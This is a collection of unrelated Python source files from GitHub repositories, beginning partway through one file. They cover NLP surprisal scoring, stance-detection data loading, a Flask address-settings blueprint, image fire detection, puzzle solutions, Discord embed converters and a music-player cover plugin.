args.corpus_path:\n            judgements[\"judgements_in_context\"] = row[\"judgements_in_context\"]\n            judgements[\"mean_acceptability_in_context\"] = np.mean(\n                row[\"judgements_in_context\"]\n            )\n            judgements[\"median_acceptability_in_context\"] = np.median(\n                row[\"judgements_in_context\"]\n            )\n            judgements[\"judgements_out_of_context\"] = row[\"judgements_out_of_context\"]\n            judgements[\"mean_acceptability_out_of_context\"] = np.mean(\n                row[\"judgements_out_of_context\"]\n            )\n            judgements[\"median_acceptability_out_of_context\"] = np.median(\n                row[\"judgements_out_of_context\"]\n            )\n        elif \"_rt\" in args.corpus_path:\n            for k in row.keys():\n                if k not in [\n                    \"id\",\n                    \"text_id_\",\n                    \"sentence_num_\",\n                    \"judgements\",\n                    \"context\",\n                    \"target\",\n                ]:\n                    judgements[k] = row[k]\n\n        if \"_rt\" in args.corpus_path:\n            context_id = row[\"id\"]\n        else:\n            context_id = row[\"context_id\"]\n        results[\"context_id\"].append(context_id)\n\n        # Select a random (non-overlapping, non-empty) context \n        if args.random_contexts:\n            choose_context_ids = set(contexts.keys()).copy() \n            choose_context_ids.remove(context_id)\n            choose_context_ids = choose_context_ids - empty_context_ids\n            rnd_context_id = random.choice(list(choose_context_ids))\n            results[\"random_context_id\"].append(rnd_context_id)\n\n        if \"switchboard\" in args.corpus_path or \"dailydialog\" in args.corpus_path:\n            results[\"target_id\"].append(row[\"target_id\"])\n        elif \"BLL2018\" in args.corpus_path:\n            results[\"target_id\"].append(row[\"language\"])\n        else:\n            pass\n\n        for k, v in judgements.items():\n            results[k].append(v)\n\n        if \"switchboard\" in args.corpus_path or \"dailydialog\" in args.corpus_path:\n            results[\"real\"].append(\"True\" if int(row[\"real\"]) else \"False\")\n        elif \"BLL2018\" in args.corpus_path:\n            results[\"real\"].append(\"True\" if row[\"language\"] == \"English\" else \"False\")\n\n        # Compute surprisal and add to results dict\n        surprisal_dict = get_sentence_surprisal(\n            row[\"context\"], row[\"target\"], model, max_seq_len, tokenizer\n        )\n        for k, v in surprisal_dict.items():\n            results[k].append(v)\n\n        # Compute surprisal with random context and add to results dict\n        if args.random_contexts:\n            rand_surprisal_dict = get_sentence_surprisal(\n                contexts[rnd_context_id], row[\"target\"], model, max_seq_len, tokenizer\n            )\n            for k, v in rand_surprisal_dict.items():\n                results[f\"{k}_rnd\"].append(v)\n\n        _time_start = time.time()\n\n    if args.logging:\n        logger.warning(\n            f\"Elapsed time (s) for surprisal metric calculations: {time.time() - _time_start}\"\n        )\n\n    results = pd.DataFrame(results)\n    os.makedirs(os.path.dirname(args.output_path), exist_ok=True)\n    results.to_csv(f\"{args.output_path}.csv\", index=False)\n","repo_name":"dmg-illc/information-value","sub_path":"code/compute_surprisal.py","file_name":"compute_surprisal.py","file_ext":"py","file_size_in_byte":10191,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"21913719640","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Nov 25 22:55:12 2017\r\n\r\n@author: aca15jch\r\n\"\"\"\r\nimport preprocess\r\nimport os\r\nimport csv\r\nimport re\r\nimport json\r\nimport random\r\n\r\nclass Reader:\r\n    def __init__(self, __dir_cd,__dir_4f=''):\r\n        \"\"\"\r\n        Constructor for Reader.\r\n        \r\n        :param __dir_cd: the directory of the CreateDebate files.\r\n        :param __dir_4f: the directory of the 4Forum.com files.\r\n        \"\"\"\r\n        self.__dir_cd = __dir_cd\r\n        self.__dir_4f = __dir_4f\r\n        #Import 4Forum topic annotations as a dictionary and an inverted dictionary\r\n        self.topic_dict = {}\r\n        self.inv_topic_dict = {}\r\n        if __dir_4f:\r\n            with open(__dir_4f + 'annotations/topic.csv') as csvfile:\r\n                self.topic_dict = dict(map(lambda dbt: (int(dbt[0]),re.sub(r\"^\\W+|\\W+$\", \"\", dbt[1])), list(csv.reader(csvfile, delimiter=','))[1:]))\r\n            self.topic_4f = set(self.topic_dict.values())\r\n            for tpc in self.topic_4f:\r\n                file_names = []\r\n                for k, v in self.topic_dict.items():\r\n                    if v == tpc:\r\n                        file_names.append(k)\r\n                self.inv_topic_dict[tpc] = file_names\r\n        #Valid CreateDebate topics\r\n        self.dir_lst = os.listdir(self.__dir_cd)\r\n    \r\n    #The lists of topics must be updated if the path to each data-set are changed\r\n    @property\r\n    def dir_cd(self):\r\n        return self.__dir_cd\r\n\r\n    @dir_cd.setter\r\n    def dir_cd(self, dir_cd):\r\n        self.__dir_cd = dir_cd\r\n        self.dir_lst = os.listdir(self.dir_cd)\r\n            \r\n    @property\r\n    def dir_4f(self):\r\n        return self.__dir_4f\r\n\r\n    @dir_4f.setter\r\n    def dir_4f(self, dir_4f):\r\n        self.__dir_4f = dir_4f\r\n        self.dir_lst = os.listdir(self.dir_cd)\r\n        with open(self.__dir_4f + 'annotations/topic.csv') as csvfile:\r\n            self.topic_dict = dict(map(lambda dbt: (int(dbt[0]),re.sub(r\"^\\W+|\\W+$\", \"\", dbt[1])), list(csv.reader(csvfile, delimiter=','))[1:]))\r\n        self.topic_4f = set(self.topic_dict.values())\r\n        for tpc in self.topic_4f:\r\n            file_names = []\r\n            for k, v in self.topic_dict.items():\r\n                if v == tpc:\r\n                    file_names.append(k)\r\n            self.inv_topic_dict[tpc] = file_names\r\n    \r\n    def load_cd(self, topic_dir=\"\", prefix='', exclude=False):\r\n        \"\"\"\r\n        Load from CreateDebate dataset\r\n        \r\n        :param topic_dir: the directory of the debate to load.\r\n        :param prefix   : the prefix of the debate to load.\r\n        :param exclude  : load posts from debates excluding those represented by the prefix.\r\n        :return         : A Debate object with a post_list consisting only of Post_CD objects.\r\n        \"\"\"\r\n        tpc_dir = topic_dir\r\n        if not tpc_dir:\r\n            tpc_dir = self.select_topic()\r\n        subset_az = ['ALL'] + subsetAZ(self.__dir_cd + tpc_dir)\r\n        pfx = prefix\r\n        if (not pfx) or (pfx not in subset_az):\r\n            while (pfx not in subset_az):\r\n                pfx = input(\"Select a debate from:\\n\" + str(subset_az) + \"\\n\").upper()\r\n        dataList = list(map(lambda d_file: os.path.join(self.__dir_cd + tpc_dir, d_file), filter(lambda d_f:  filefilter(f=d_f, prefix=pfx, exclude=exclude), os.listdir(self.__dir_cd + tpc_dir))))\r\n        dataList.sort()\r\n        metaList = list(map(lambda m_file: os.path.join(self.__dir_cd + tpc_dir, m_file), filter(lambda m_f:  filefilter(m_f, '.meta',pfx, exclude), os.listdir(self.__dir_cd + tpc_dir))))\r\n        metaList.sort()\r\n        post_list=[]\r\n        for x in range(0, len(dataList)):\r\n            pfx_actual = os.path.basename(dataList[x])[:1]\r\n            new_post = preprocess.Post_CD(pfx_actual)\r\n            with open(dataList[x], encoding=\"utf8\") as fd:\r\n                new_post.body = fd.read()\r\n            with open(metaList[x], encoding=\"utf8\") as fd:\r\n                new_post.post_id=pfx_actual + str(int(fd.readline().split(\"ID=\",1)[1]))\r\n                raw_target=int(fd.readline().split(\"PID=\",1)[1])\r\n                new_post.topic = tpc_dir if raw_target==-1 else os.path.basename(dataList[x])[:1] + str(raw_target)\r\n                raw_stance=fd.readline().split(\"Stance=\",1)[1]\r\n                if any(char.isdigit() for char in raw_stance):\r\n                    if int(raw_stance) < 0:\r\n                        new_post.label = \"AGAINST\"\r\n                    elif int(raw_stance) >= 0:\r\n                        new_post.label = \"FAVOR\"\r\n            post_list.append(new_post)\r\n        post_list.sort(key=lambda p: p.post_id)\r\n        dbt = preprocess.Debate(tpc_dir, post_list)\r\n        return dbt\r\n        \r\n    def load_4f(self, unseen_target = \"\", n=1):\r\n        \"\"\"\r\n        Load random posts from the 4Forums.com dataset and prompt the user to classify them.\r\n        \r\n        :param unseen_target: The topic of the posts.\r\n        :param n            : How many posts to select.\r\n        :return             : A Post object.\r\n        \"\"\"\r\n        selected_topic = self.select_target(unseen_target)\r\n        post_list = []\r\n        for i in range(0,n):\r\n            while True:\r\n                fn = random.choice(self.inv_topic_dict[selected_topic])\r\n                raw_debate = json.load(open(self.__dir_4f+'discussions/'+str(fn)+'.json'))[:-2][0]\r\n                raw_post = random.choice(raw_debate)\r\n                post_id = str(fn) + '/' + str(raw_post[0])\r\n                if post_id not in list(map(lambda p:p.post_id, post_list)):\r\n                    break\r\n            body = raw_post[3]\r\n            #If a post_title exists (stored in a dictionary), it may contain an opinion, hence it is concatenated with the body\r\n            maybe_dict = raw_post[4]\r\n            if 'post_info' in maybe_dict:\r\n                post_info = maybe_dict['post_info']\r\n                if 'post_title' in post_info:\r\n                    body = post_info['post_title'] + '\\n' + body\r\n            new_post = preprocess.Post(body, 'Choose a Stance', post_id, selected_topic)\r\n            print(new_post)\r\n            new_post.label = select_opt([\"AGAINST\",\"NONE\", \"FAVOR\"],\"What is the stance of this post?\")\r\n            post_list += [new_post]\r\n        dbt = preprocess.Debate(unseen_target, post_list)\r\n        return dbt\r\n    \r\n    def select_target(self, given_target=''):\r\n        lst = list(self.topic_4f)\r\n        if given_target not in lst:\r\n            print(\"{:<5s} | {:<23s} | {:>12s}\".format('Input','Topic','# of Debates'))\r\n            return select_opt(lst,'Select a topic: ',self.inv_topic_dict)\r\n        else:\r\n            return given_target\r\n\r\n    def select_topic(self):\r\n        print('Input | Directory')\r\n        topic = select_opt(self.dir_lst, 'Select a topic: ')\r\n        return topic\r\n\r\ndef select_opt(opt,prompt,dct=\"\"):\r\n    \"\"\"\r\n    Prompts the user to select a value from a list.\r\n    \r\n    :param opt   : the options.\r\n    :param prompt: The prompt string.\r\n    :param dct   : display an optional third column\r\n    :return      : What the user selected from opt.\r\n    \"\"\"\r\n    for i in range(len(opt)):\r\n        formatting=(\"{:<5d} | {:<23s}\" + (\" | {:>12d}\" if dct else \"\"))\r\n        print(formatting.format(i+1, opt[i], len(dct[opt[i]])) if dct else formatting.format(i+1, opt[i]))\r\n    return opt[input_int(prompt,0,len(opt))-1]\r\n    \r\n\r\ndef input_int(prompt, lower,upper):\r\n    \"\"\"\r\n    Forces an input to be an integer between two values.\r\n    \r\n    :param prompt: The prompt string.\r\n    :param lower : The lowest integer allowed.\r\n    :param upper : The greatest integer allowed.\r\n    :return      : An int between lower and greater.\r\n    \"\"\"\r\n    while True:\r\n        try:\r\n            value = int(input(prompt))\r\n        except ValueError:\r\n            print(\"Sorry, I didn't understand that.\")\r\n            continue\r\n\r\n        if value < lower or value > upper:\r\n            print(\"Sorry, your response is out of bounds.\")\r\n            continue\r\n        else:\r\n            break\r\n    return value\r\n\r\ndef filefilter(f=\"\", extension='.data', prefix='ALL', exclude=False):\r\n    \"\"\"\r\n    Filter files by prefix or extension\r\n    \r\n    :param f        : the file name\r\n    :param extension: the extension\r\n    :param prefix   : the prefix\r\n    :param exclude  : if true, do not return true for files with the prefix\r\n    :return         : True if it matches the conditions\r\n    \"\"\"\r\n    return f.endswith(extension) and (prefix=='ALL' or (f.startswith(prefix) != exclude))\r\n\r\ndef subsetAZ(filepath):\r\n    \"\"\"\r\n    Although printing the set will show the letters sorted, the letters are not accessed in order when\r\n    the set's converted to a list or used in a for-loop hence it must be converted to a list and then sorted.\r\n    \r\n    :param filepath: A subdirectory in one of the CreateDebate topic directories.\r\n    :return        : The distinct letters files have.\r\n    \"\"\"\r\n    subset_az = list(set(map(lambda f: f[0], os.listdir(filepath))))\r\n    subset_az.sort()\r\n    return subset_az\r\n\r\nif __name__ == '__main__':\r\n    #Instantiate a Reader\r\n    rdr = Reader('../data/CreateDebate/', '../data/fourforums/')\r\n    #Load a debate from the CreateDebate dataset that the user has been prompted to select.\r\n    dbt1 = rdr.load_cd()\r\n    \r\n    #Load a random post from the 4Forums.com dataset and prompt the user to classify it.\r\n    dbt2 = rdr.load_4f(n=3)\r\n    \r\n    print(\"Learn from these:\")\r\n    for p in dbt1.post_list:\r\n        print(p)\r\n    \r\n    print(\"Classify these:\")\r\n    for p in dbt2.post_list:\r\n        print(p)\r\n","repo_name":"jcdhan1/ForumStanceDetection","sub_path":"readwrite/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":9550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5282124663","text":"from flask import Blueprint, render_template, redirect, url_for, flash, request, jsonify, make_response\nfrom flask_login import current_user\nfrom functools import wraps\nfrom flask_cors import cross_origin\nimport json\nfrom .models import Setting\nfrom . import db\n\nsetting = Blueprint(\"setting\", __name__)\n\n\ndef need_to_authenticate(f):\n    @wraps(f)\n    def decorated_function(*args, **kwargs):\n        if not current_user.is_authenticated:\n            return redirect(url_for(\"auth.login\"))\n        return f(*args, **kwargs)\n    return decorated_function\n\ndef only_admin(f):\n    @wraps(f)\n    def decorated_function(*args, **kwargs):\n        if not current_user.id == 1:\n            return redirect(url_for(\"view.home\"))\n        return f(*args, **kwargs)\n    return decorated_function\n\n\ndef userInfo(data):\n    return {\n        \"name\": data.name,\n        \"email\": data.email,\n        \"address\": data.address,\n        \"contact\": data.number,\n        \"city\": data.city,\n        \"zipcode\": data.zipcode\n    }\n\n\n@setting.route(\"/user_address\", methods=[\"GET\", \"POST\"])\n@need_to_authenticate\ndef user_address():\n    return render_template(\"user_address.html\")\n\n\n@setting.route(\"/users-data\")\n@cross_origin()\ndef user_info():\n    user_data = Setting.query.filter_by(user_name=current_user).first()\n\n    if user_data != \"None\":\n        return jsonify({\"results\": userInfo(user_data), \"users\": len(current_user.settings), \"message\": \"No Data\"})\n\n    return json.dumps({\"results\": \"Please insert data\"})\n\n\n@setting.route(\"/update-address\", methods=[\"GET\", \"PATCH\"])\ndef update_address():\n\n    if request.method == \"PATCH\":\n        user_data = Setting.query.filter_by(user_name=current_user).first()\n        user_data.name = request.form[\"name\"]\n        user_data.email = request.form[\"email\"]\n        user_data.number = request.form[\"contact\"]\n        user_data.address = request.form[\"address\"]\n        user_data.city = request.form[\"city\"]\n        user_data.zipcode = request.form[\"zipcode\"]\n\n        db.session.commit()\n        return {\"results\": userInfo(user_data)}\n\n\n@setting.route(\"/users-address\", methods=[\"GET\", \"POST\"])\n@cross_origin()\ndef add_address():\n    if request.method == \"POST\":\n        name = request.form[\"name\"]\n        contact = request.form[\"contact\"]\n        email = request.form[\"email\"]\n        address = request.form[\"address\"]\n        city = request.form[\"city\"]\n        zipcode = request.form[\"zipcode\"]\n        if contact == \"\":\n            return {\"message\": \"Contact number is required.\"}\n        elif len(contact) < 11:\n            return {\"message\": \"Contact is too short.\"}\n        elif len(zipcode) < 4:\n            return {\"message\": \"Success\"}\n        else:\n            user_address = Setting(\n                name=name,\n                number=contact,\n                email=email,\n                address=address,\n                city=city,\n                zipcode=zipcode,\n                user_name=current_user\n            )\n            db.session.add(user_address)\n            db.session.commit()\n            return {\"results\": userInfo(user_address), \"message\": \"Success\", \"users\": len(current_user.settings)}\n\n\n@setting.route(\"/delete-address\")\n@need_to_authenticate\ndef delete_address():\n    delete_address = Setting.query.filter_by(\n        user_name=current_user).first()\n    db.session.delete(delete_address)\n    db.session.commit()\n    return {\"message\": \"Deleted\"}\n","repo_name":"allenluna/shopping","sub_path":"website/setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":3408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42350300530","text":"# Autores: Ellen Junker, Kessy Roberta Staub e Mateus da Silva Francelino\r\n# Data: 12/10/2021\r\n\r\nimport cv2\r\nfrom FireDetector import FireDetector\r\nfrom glob import glob\r\nimport matplotlib.pyplot as plt\r\nimport os\r\n\r\nif __name__ == '__main__':\r\n\r\n\r\n    img_names = glob(os.path.join('fire_images','*.png')) #<<< para pegar as imagens sem fogo\r\n    #img_names = glob(os.path.join('non_fire_images','*.png')) #<<< para pegar as imagens com fogo\r\n\r\n\r\n    for fn in img_names:\r\n        image=cv2.imread(fn)\r\n\r\n        fire_detector = FireDetector(image)\r\n        fire, non_fire = fire_detector.fire_extraction()\r\n        mask = fire_detector.build_mask(fire)\r\n        bit_mask = fire_detector.convert_mask(mask)\r\n        canny = fire_detector.apply_canny(bit_mask)\r\n        contour = fire_detector.apply_fire_contour(mask)\r\n        contoured_image = fire_detector.add_contour2image(contour)\r\n\r\n        cv2.imshow('Original', image)\r\n        cv2.imshow('Fire', fire)\r\n        cv2.imshow('Non Fire', non_fire)\r\n        cv2.imshow('Mask', mask)\r\n        cv2.imshow('Canny', canny)\r\n        cv2.imshow('Contour', contour)\r\n        cv2.imshow('Contoured Image', contoured_image)\r\n\r\n\r\n\r\n\r\n\r\n\r\n        cv2.waitKey()\r\n        cv2.destroyAllWindows()\r\n","repo_name":"ellenjkr/AtividadesFaculdade","sub_path":"Arquivos/Trabalho_Fogo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14969740107","text":"from collections import defaultdict\nfrom pathlib import Path\n\n\ndef part1(nums):\n    nums = sorted(nums)\n    diff = defaultdict(int)\n    diff[nums[0]] = 1\n    for i in range(1, len(nums)):\n        diff[nums[i]-nums[i-1]] += 1\n    return (diff[3]+1)*diff[1]\n\n\ndef part2(nums):\n    nums = sorted(nums+[0])\n    N = len(nums)\n    dp = [0]*N\n    dp[N-1] = 1\n\n    for i in reversed(range(N)):\n        for j in range(i+1, N):\n            if nums[j]-nums[i] > 3:\n                break\n            dp[i] += dp[j]\n\n    return dp[0]\n\n\ndef process_input(file):\n    return [int(num) for num in file.read().splitlines()]\n\n\nif __name__ == \"__main__\":\n    script_path = Path(__file__).resolve()\n    input_path = script_path.parent / '../inputs' / f'{script_path.stem}.txt'\n\n    with input_path.open('r') as f:\n        nums = process_input(f)\n    print(\"Part 1:\", part1(nums))\n    print(\"Part 2:\", part2(nums))\n","repo_name":"FusionX9000/Advent-of-Code-2020","sub_path":"solutions/Day10.py","file_name":"Day10.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38660309262","text":"from sqlalchemy import Table, Column, String\n\nimport dbconfig\n\nproduct_attributes_table = Table('product_attributes', dbconfig.metadata,\n        Column('id', String(100), primary_key = True),\n        Column('product_id', String(100), primary_key = True),\n        Column('name', String(100)),\n        Column('value', String(100)),\n        Column('description', String(100)))\n\nproducts_table = Table('products', dbconfig.metadata,\n        Column('id', String(100), primary_key = True),\n        Column('name', String(100)),\n        Column('description', String(100)))\n\n","repo_name":"saibaba/offer","sub_path":"model/products.py","file_name":"products.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"35923290582","text":"from absl import app\nfrom dopamine.utils import example_viz_lib\n\n\ndef main(_):\n    example_viz_lib.run(agent='rainbow',\n                        game='Pong',\n                        num_steps=2000,\n                        root_dir='D:\\\\Homework\\\\CS 5950\\\\Pong_Rainbow',\n                        restore_ckpt='D:\\\\Homework\\\\CS 5950\\\\Pong_Rainbow\\\\checkpoints\\\\tf_ckpt-101',\n                        use_legacy_checkpoint=False)\n\n\nif __name__ == '__main__':\n    app.run(main)","repo_name":"karstenboettcher/cs5950-reinforcement-learning","sub_path":"Practice Projects/Pong/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39586196412","text":"import os, json\nfrom rich.traceback import install\nfrom Fast.CLI.commands.file import file\nfrom Fast.CLI import add_help\nfrom pathlib import Path\n\n\n\ndef tools(value, json_filename=None):\n\n  add_help(\n    name = \"tools\",\n    description = \"run quick tools\",\n    usage = \"fast tools (subcommands)\",\n    subcommands = [\"clear\", \"pycache\", \"pjson\"]\n  )\n\n  if value in \"clear\":\n    cls = lambda: print(\"\\033c\\033[3J\", end='')\n    cls()\n  elif value in \"pycache\":\n    os.system(\"find . -type f -name '*.py[co]' -delete -o -type d -name __pycache__ -delete\")\n  elif value in \"traceback\":\n    print(\"Installed Rich Traceback\")\n    install()\n  elif value in \"pjson\":\n    #should only reads json file from home directory \n    file_path = file(\"path\", json_filename, start_location=\".\")\n    f = open(file_path[0])\n    data = json.load(f)\n    print(json.dumps(data, indent=2))\n\n    ","repo_name":"CoolAQ3D/Fast","sub_path":"Fast/CLI/commands/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12346895869","text":"import random\nimport ijson\nimport json\n\npython_data = []\ncount = 0\nwith open(\"../../../python.json\",'r',encoding='utf-8') as f:\n    for record in ijson.items(f,'item'):\n        for r in record:\n            count += 1\nprint(count)\n\nrnumbers = []\nfor _ in range(50):\n    temp = random.randint(0,count)\n    rnumbers.append(temp)\nprint(rnumbers)\n\ncount = 0\nwith open(\"../../../python.json\",'r',encoding='utf-8') as f:\n    for record in ijson.items(f,'item'):\n        for r in record:\n            count += 1\n            if count in rnumbers:\n                python_data.append(r['original_string'])\n\njson_data = {}\nfor i in range(len(python_data)):\n    json_data[i] = python_data[i]\n    print(python_data[i])\nwith open(\"dataset.json\", 'w') as file:\n    json.dump(json_data, file)","repo_name":"YangsenChen/Prompt4SE","sub_path":"milestone3/python/dataset/python_50.py","file_name":"python_50.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25457103227","text":"def dfs(root, connectList, visitList, check, delete):\n    global result \n        \n    visitList[root] = True\n\n    if check == 1:\n        if len(connectList[root]) == 0:\n            result += 1\n        elif len(connectList[root]) == 1 and connectList[root][0] == deleteNode:\n            result += 1\n    \n    for i in connectList[root]:\n        if not visitList[i]:\n            if check == 1:\n                dfs(i, connectList, visitList, 1, deleteNode)\n            elif check == 0:\n                dfs(i, connectList, visitList, 0, deleteNode)\n\nresult = 0;\nnodeNum = int(input())\nfirstLine = input().split()\nvisitList = [False for i in range(nodeNum)]\nconnectList = [list() for i in range(nodeNum)]\n\nfor i in range(nodeNum):\n    node = int(firstLine[i])\n    if node != -1:\n        connectList[node].append(i)\n\ndeleteNode = int(input())\n\ndfs(deleteNode, connectList, visitList, 0, deleteNode)\n\nfor i in range(nodeNum):\n    if not visitList[i]:\n        dfs(i, connectList, visitList, 1, deleteNode)\n\nprint(result)\n","repo_name":"jy940408/algorithm_python","sub_path":"PYTHONDepthFirstSearch/트리.py","file_name":"트리.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20578051255","text":"from typing import List\nimport discord\nfrom redbot.core import commands\nfrom redbot.core.commands import Converter, BadArgument, CheckFailure, MessageConverter\nimport json\nfrom redbot.core.utils import menus\nimport asyncio\n\n\nclass StringToEmbed(Converter):\n    async def convert(self, ctx: commands.Context, argument: str) -> discord.Embed:\n        data = argument.strip(\"`\")\n        try:\n            data = json.loads(data)\n        except json.decoder.JSONDecodeError as error:\n            await self.embed_convert_error(ctx, \"JSON Parse Error\", error)\n            return\n        if data.get(\"embed\"):\n            data = data[\"embed\"]\n        elif data.get(\"embeds\"):\n            data = data.get(\"embeds\")[0]\n        if not isinstance(data, dict):\n            raise BadArgument(\n                \"This doesn't seem to be properly formatted embed\"\n                f\" JSON. Refer to the link on `{ctx.clean_prefix}help {ctx.command.qualified_name}`.\"\n            )\n        if data.get(\"timestamp\"):\n            data[\"timestamp\"] = data[\"timestamp\"].strip(\"Z\")\n        try:\n            e = discord.Embed.from_dict(data)\n        except Exception as error:\n            await self.embed_convert_error(ctx, \"Embed Parse Error\", error)\n            return\n        try:\n            await ctx.send(embed=e)\n            return e\n        except discord.errors.HTTPException as error:\n            await self.embed_convert_error(ctx, \"Embed Send Error\", error)\n            return\n\n    async def embed_convert_error(self, ctx: commands.Context, error_type: str, error: Exception):\n        embed = discord.Embed(\n            color=await ctx.embed_color(),\n            title=error_type,\n            description=f\"```py\\n{error}\\n```\",\n        )\n        embed.set_footer(\n            text=f\"Use `{ctx.prefix}help {ctx.command.qualified_name}` to see an example\"\n        )\n        emoji = ctx.bot.get_emoji(736038541364297738) or \"❌\"\n        asyncio.create_task(menus.menu(ctx, [embed], {emoji: menus.close_menu}))\n        raise CheckFailure\n\n\nclass ListStringToEmbed(StringToEmbed):\n    async def convert(self, ctx: commands.Context, argument: str) -> List[discord.Embed]:\n        data = argument.strip(\"`\")\n        try:\n            data = json.loads(data)\n        except json.decoder.JSONDecodeError as error:\n            await self.embed_convert_error(ctx, \"JSON Parse Error\", error)\n            return\n        if data.get(\"embed\"):\n            data = [data[\"embed\"]]\n        elif data.get(\"embeds\"):\n            data = data.get(\"embeds\")\n        else:\n            data = [data]\n        embeds = []\n        for embed_data in data:\n            if embed_data.get(\"timestamp\"):\n                embed_data[\"timestamp\"] = embed_data[\"timestamp\"].strip(\"Z\")\n            try:\n                e = discord.Embed.from_dict(embed_data)\n            except Exception as error:\n                await self.embed_convert_error(ctx, \"Embed Parse Error\", error)\n                return\n            else:\n                embeds.append(e)\n        if embeds:\n            return embeds\n        else:\n            raise BadArgument\n\n\nclass StoredEmbedConverter(Converter):\n    async def convert(self, ctx: commands.Context, name: str) -> dict:\n        cog = ctx.bot.get_cog(\"EmbedUtils\")\n        data = await cog.config.guild(ctx.guild).embeds()\n        embed = data.get(name)\n        if embed:\n            embed.update(name=name)\n            return embed\n        else:\n            raise BadArgument(f'Embed \"{name}\" not found.')\n\n\nclass GlobalStoredEmbedConverter(Converter):\n    async def convert(self, ctx: commands.Context, name: str) -> dict:\n        cog = ctx.bot.get_cog(\"EmbedUtils\")\n        data = await cog.config.embeds()\n        embed = data.get(name)\n        can_view = await ctx.bot.is_owner(ctx.author) or not embed.get(\"locked\")\n        if embed and can_view:\n            embed.update(name=name)\n            return embed\n        else:\n            raise BadArgument(f'Global embed \"{name}\" not found.')\n\n\nclass MyMessageConverter(MessageConverter):\n    async def convert(self, ctx: commands.Context, argument: str) -> discord.Message:\n        message = await super().convert(ctx, argument)\n        if message.author.id != ctx.me.id:\n            raise BadArgument(f\"That is not a message sent by me.\")\n        elif not message.channel.permissions_for(ctx.me).send_messages:\n            raise BadArgument(\n                f\"I do not have permissions to send/edit messages in {message.channel.mention}.\"\n            )\n        return message\n","repo_name":"proguy914629bot/LyricMasterOutdated","sub_path":"utils/embed.py","file_name":"embed.py","file_ext":"py","file_size_in_byte":4513,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"74991338291","text":"from os import path, makedirs\nfrom hashlib import sha1\n\nfrom gi.repository import GObject\n\nfrom quodlibet import get_cache_dir\nfrom quodlibet.qltk import Icons\nfrom quodlibet.util.path import escape_filename\nfrom quodlibet.util import print_w\n\n\nclass CoverSourcePlugin(GObject.Object):\n    \"\"\"\n    Plugins that given a song should provide a cover art.\n\n    The plugin should override following methods and properties:\n\n        @staticmethod priority()\n        @property cover_path(self)\n        fetch_cover(self)\n\n    Refer to default function implementation's documentation in order to\n    understand their role.\n    \"\"\"\n\n    __gsignals__ = {\n        \"fetch-success\": (GObject.SignalFlags.RUN_LAST, None, (object,)),\n        \"fetch-failure\": (GObject.SignalFlags.RUN_LAST, None, (object,)),\n        \"search-complete\": (GObject.SignalFlags.RUN_LAST, None, (object,))\n    }\n    PLUGIN_ICON = Icons.EMBLEM_DOWNLOADS\n\n    @property\n    def name(self):\n        \"\"\"Human name of the source\"\"\"\n        return type(self).__name__\n\n    def __str__(self):\n        return f\"<{self.name} for {self.group_by(self.song)!r}>\"\n\n    embedded = False\n    \"\"\"Whether the source is an embedded one\"\"\"\n\n    def __init__(self, song, cancellable=None):\n        self.song = song\n        self.cancellable = cancellable\n        super().__init__()\n\n    @classmethod\n    def group_by(cls, song):\n        \"\"\"Returns a hashable for a song, for grouping songs in groups where\n        only one song per group needs to be searched.\n\n        Grouping might reduce the chance of finding covers in exchange\n        for performance.\n\n        This default implementation gives one group for all songs.\n        \"\"\"\n\n        return\n\n    @staticmethod\n    def priority():\n        \"\"\"\n        Should return float in range [0.0, 1.0] suggesting priority of the\n        cover source. Whether value returned by this method is respected or\n        not is not guaranteed.\n\n        As a rule of thumb, source's reliability and quality should be\n        compared with other sources and given score between two sources that\n        come close in quality and reliability.\n\n        There's a table of value ranges sources should respect:\n\n        * (0.7, 1.0] - local covers;\n        * (0.4, 0.7] - accurate (> 99%) source of high quality (>= 200x200)\n                       covers;\n        * (0.2, 0.4] - accurate (> 99%) source of low quality (< 200x200)\n                       covers;\n        * (0.0, 0.2] - not very accurate (<= 99%) source of covers, even if\n                       they're high quality;\n        *  0.0       - reserved for the fallback cover source.\n        \"\"\"\n        return 0.0\n\n    @property\n    def cover_directory(self):\n        return cover_dir\n\n    @property\n    def cover_filename(self):\n        \"\"\"\n        Return the filename of the cover which hopefully should not change\n        between songs in the same album and still be unique enough to\n        uniquely identify most (or even better – all) of the albums.\n\n        The string returned must not contain any characters illegal in\n        most common filesystems. These include /, ?, <, >, \\\\, :, *, |, ” and\n        ^. Staying in the bounds of ASCII is highly encouraged.\n\n        Perchance the song lacks data to generate the filename of cover for\n        this provider, None shall be returned.\n        \"\"\"\n        key = sha1()\n        # Should be fine as long as the same interpreter is used.\n        data = repr(self.song.album_key)\n        if not isinstance(data, bytes):\n            data = data.encode(\"utf-8\")\n        key.update(data)\n        return escape_filename(key.hexdigest())\n\n    @property\n    def cover_path(self):\n        \"\"\"\n        Should return the path where cover is expected to be cached. The\n        location should be based in common cache location available in variable\n        `cover_dir` of this module.\n\n        It doesn't necessarily mean the cover is actually at the returned\n        location neither that it will be stored there at any later time.\n   